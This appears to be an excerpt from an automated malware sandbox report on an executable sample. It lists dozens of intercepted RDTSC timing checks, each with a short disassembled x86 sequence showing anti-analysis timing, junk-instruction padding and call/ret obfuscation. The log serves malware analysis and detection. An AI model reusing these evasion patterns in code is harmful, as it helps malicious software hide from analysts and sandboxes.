Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9D414 second address: A9D418 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9E651 second address: A9E655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A9E655 second address: A9E662 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA03A7 second address: AA03CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5483379h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA03CA second address: AA03F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B534805Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007FD0B5348056h 0x0000000f jmp 00007FD0B534805Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A4E3B6 second address: A4E3BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A4E3BA second address: A4E3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A4E3C0 second address: A4E3DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD0B5483373h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A4E3DD second address: A4E3E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A4E3E3 second address: A4E3E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A4E3E7 second address: A4E432 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348062h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007FD0B5348058h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 pushad 0x00000013 jo 00007FD0B534805Eh 0x00000019 jne 00007FD0B5348056h 0x0000001f pushad 0x00000020 popad 0x00000021 jmp 00007FD0B534805Ch 0x00000026 jmp 00007FD0B534805Dh 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: A4E432 second address: A4E436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA208E second address: AA2094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA2094 second address: AA20DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 movzx edi, dx 0x0000000c push 00000000h 0x0000000e and esi, 5398E801h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FD0B5483368h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 jg 00007FD0B5483366h 0x00000036 xchg eax, ebx 0x00000037 push eax 0x00000038 push edx 0x00000039 push edx 0x0000003a jbe 00007FD0B5483366h 0x00000040 pop edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA20DE second address: AA20E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA20E3 second address: AA20E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA20E9 second address: AA20F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA2C22 second address: AA2C28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA2C28 second address: AA2C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA6105 second address: AA611C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD0B548336Ch 0x00000008 jnc 00007FD0B5483366h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pushad 0x00000015 popad 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA8B89 second address: AA8B8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA8B8E second address: AA8BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD0B5483379h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA8BB3 second address: AA8C17 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD0B5348063h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FD0B5348058h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007FD0B5348058h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 00000019h 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 push 00000000h 0x00000043 stc 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 pushad 0x00000049 popad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA3E52 second address: AA3E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA8C17 second address: AA8C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA3E58 second address: AA3E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA8DA5 second address: AA8DC9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FD0B5348063h 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007FD0B5348056h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA3E5D second address: AA3E8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B548336Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD0B5483379h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA9B03 second address: AA9B09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA9B09 second address: AA9B0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA8E6D second address: AA8E8A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD0B5348063h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA9B0F second address: AA9B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA9BE4 second address: AA9BEE instructions: 0x00000000 rdtsc 0x00000002 js 00007FD0B534805Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AA9CA5 second address: AA9CAA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AABA58 second address: AABA5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AAC95B second address: AAC960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AAC960 second address: AAC967 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AAC967 second address: AAC9E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FD0B5483368h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 jnc 00007FD0B5483368h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007FD0B5483368h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000019h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 push 00000000h 0x00000046 movzx ebx, dx 0x00000049 xchg eax, esi 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d jmp 00007FD0B548336Dh 0x00000052 jmp 00007FD0B5483376h 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AAC9E9 second address: AAC9FA instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD0B5348058h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AABBAA second address: AABC48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 or dword ptr [ebp+122D1B00h], ebx 0x0000000d push dword ptr fs:[00000000h] 0x00000014 mov dword ptr fs:[00000000h], esp 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007FD0B5483368h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 mov ebx, dword ptr [ebp+122D27FAh] 0x0000003b mov eax, dword ptr [ebp+122D10D9h] 0x00000041 mov dword ptr [ebp+1244D2D8h], edi 0x00000047 xor dword ptr [ebp+122D39B3h], edi 0x0000004d push FFFFFFFFh 0x0000004f push 00000000h 0x00000051 push ebp 0x00000052 call 00007FD0B5483368h 0x00000057 pop ebp 0x00000058 mov dword ptr [esp+04h], ebp 0x0000005c add dword ptr [esp+04h], 0000001Ch 0x00000064 inc ebp 0x00000065 push ebp 0x00000066 ret 0x00000067 pop ebp 0x00000068 ret 0x00000069 movsx edi, ax 0x0000006c nop 0x0000006d jbe 00007FD0B548336Eh 0x00000073 push edx 0x00000074 jp 00007FD0B5483366h 0x0000007a pop edx 0x0000007b push eax 0x0000007c push eax 0x0000007d push edx 0x0000007e jmp 00007FD0B5483374h 0x00000083 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AADAE3 second address: AADAE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AADAE9 second address: AADAED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AADAED second address: AADB6A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FD0B5348064h 0x0000000e nop 0x0000000f mov bh, BAh 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FD0B5348058h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov edi, esi 0x0000002f push edi 0x00000030 pop edi 0x00000031 push 00000000h 0x00000033 mov di, ax 0x00000036 movsx edi, ax 0x00000039 xchg eax, esi 0x0000003a pushad 0x0000003b jmp 00007FD0B534805Dh 0x00000040 jmp 00007FD0B534805Fh 0x00000045 popad 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007FD0B5348061h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AAEA7B second address: AAEA81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AAEA81 second address: AAEA85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AAFB0E second address: AAFB12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AAFB12 second address: AAFB81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD0B5348061h 0x0000000e pop edx 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007FD0B5348058h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c clc 0x0000002d push 00000000h 0x0000002f xchg eax, esi 0x00000030 jno 00007FD0B5348067h 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FD0B534805Fh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AADCEB second address: AADCF1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AADE01 second address: AADE06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB0BA7 second address: AB0BAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB0BAB second address: AB0BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB0BB1 second address: AB0C2B instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD0B5483373h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jc 00007FD0B548336Ch 0x00000013 mov dword ptr [ebp+122D3162h], edi 0x00000019 push 00000000h 0x0000001b cld 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007FD0B5483368h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 sub dword ptr [ebp+122D1881h], esi 0x0000003e xchg eax, esi 0x0000003f pushad 0x00000040 push edx 0x00000041 jmp 00007FD0B5483370h 0x00000046 pop edx 0x00000047 jmp 00007FD0B548336Eh 0x0000004c popad 0x0000004d push eax 0x0000004e push ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AAECC7 second address: AAED3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FD0B5348063h 0x0000000a jmp 00007FD0B534805Dh 0x0000000f popad 0x00000010 nop 0x00000011 or dword ptr [ebp+12457612h], edi 0x00000017 push dword ptr fs:[00000000h] 0x0000001e sub dword ptr [ebp+122D234Ch], edx 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b push 00000000h 0x0000002d push ebx 0x0000002e call 00007FD0B5348058h 0x00000033 pop ebx 0x00000034 mov dword ptr [esp+04h], ebx 0x00000038 add dword ptr [esp+04h], 00000016h 0x00000040 inc ebx 0x00000041 push ebx 0x00000042 ret 0x00000043 pop ebx 0x00000044 ret 0x00000045 mov ebx, dword ptr [ebp+122D2D74h] 0x0000004b sub dword ptr [ebp+122D2016h], eax 0x00000051 mov eax, dword ptr [ebp+122D1091h] 0x00000057 add edi, 675CB583h 0x0000005d push FFFFFFFFh 0x0000005f or dword ptr [ebp+122D17E2h], esi 0x00000065 push eax 0x00000066 push ecx 0x00000067 pushad 0x00000068 push eax 0x00000069 pop eax 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB3CDD second address: AB3D51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007FD0B5483368h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 call 00007FD0B548336Dh 0x00000027 sbb bl, FFFFFFF2h 0x0000002a pop ebx 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007FD0B5483368h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 00000018h 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 stc 0x00000048 push 00000000h 0x0000004a mov ebx, 505CC5EEh 0x0000004f xchg eax, esi 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FD0B548336Fh 0x00000059 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB3D51 second address: AB3D5B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD0B5348056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB3D5B second address: AB3D61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB3D61 second address: AB3D74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007FD0B534805Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB3D74 second address: AB3D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB3D78 second address: AB3D7D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB0D3B second address: AB0D40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB0D40 second address: AB0D4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FD0B5348056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB0E32 second address: AB0E38 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB0E38 second address: AB0E3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB1DBD second address: AB1DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB1E83 second address: AB1E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AAFD39 second address: AAFD3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB2DEF second address: AB2E97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B534805Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FD0B534805Ch 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 mov di, EC00h 0x00000017 push dword ptr fs:[00000000h] 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007FD0B5348058h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f jmp 00007FD0B5348061h 0x00000044 mov eax, dword ptr [ebp+122D02F1h] 0x0000004a adc edi, 27E0960Ah 0x00000050 pushad 0x00000051 mov dword ptr [ebp+122D1886h], esi 0x00000057 mov edx, dword ptr [ebp+122D2C68h] 0x0000005d popad 0x0000005e push FFFFFFFFh 0x00000060 push 00000000h 0x00000062 push eax 0x00000063 call 00007FD0B5348058h 0x00000068 pop eax 0x00000069 mov dword ptr [esp+04h], eax 0x0000006d add dword ptr [esp+04h], 00000015h 0x00000075 inc eax 0x00000076 push eax 0x00000077 ret 0x00000078 pop eax 0x00000079 ret 0x0000007a mov dword ptr [ebp+1247DD93h], ecx 0x00000080 push eax 0x00000081 push eax 0x00000082 push edx 0x00000083 push eax 0x00000084 push edx 0x00000085 push eax 0x00000086 push edx 0x00000087 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB2E97 second address: AB2E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB2E9B second address: AB2EAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0B5348060h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8ObkdHP9Hq.exe	RDTSC instruction interceptor: First address: AB2EAF second address: AB2EB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
